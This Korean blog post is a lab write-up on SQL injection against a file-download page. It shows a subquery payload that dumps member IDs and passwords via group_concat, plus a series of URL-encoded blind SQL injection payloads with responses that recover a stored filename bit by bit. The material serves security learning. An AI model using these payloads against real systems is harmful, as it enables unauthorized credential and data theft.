Oh! JUN

SQL Injection을 통한 데이터 조회 공격 실습 본문

웹 해킹/SQL Injection

SQL Injection을 통한 데이터 조회 공격 실습

Kwon Oh! JUN 2022. 10. 2. 17:27

지난 시간에 이어서 이번에는 데이터 조회 공격 실습

 

org_filename에 사용자가 지정한 파일 이름이 출력된다고 했다. 

이걸 활용해서 SQL injection 공격이 가능하다.

 

그림 참고하면 

org_filename 파라미터에 select group_concat(id, '###', password, ',,') from members 쿼리가 들어가서

members 테이블의 id, password 컬럼을 그룹핑해서 한번에 구할 수 있게 했다.

 

real_filename에는 지난시간처럼 실질적인 파일 다운로드 경로를 설정해줬다.


여기서 잠깐 만약 real_filename을 모른다면 어떻게 해야될까?

blind-sql 인젝션을 통해서 구해주면된다.

 

org_filename 데이터 구하기
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%261%3d1 파일 다운로드 (1) org_filename : c□□□□...
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%262%3d2 파일 다운로드 (1)
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%264%3d4 파일이 존재하지 않습니다. (0)
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%268%3d8 파일이 존재하지 않습니다. (0)
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2616%3d16 파일이 존재하지 않습니다. (0)
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2632%3d32 파일 다운로드 (1)
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2664%3d64 파일 다운로드 (1)
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%26128%3d128 파일이 존재하지 않습니다. (0)

이런식으로 구하면된다...


그래서 구한 org_filename으로 다시한번 해보면 정상적으로 확인할 수 있다.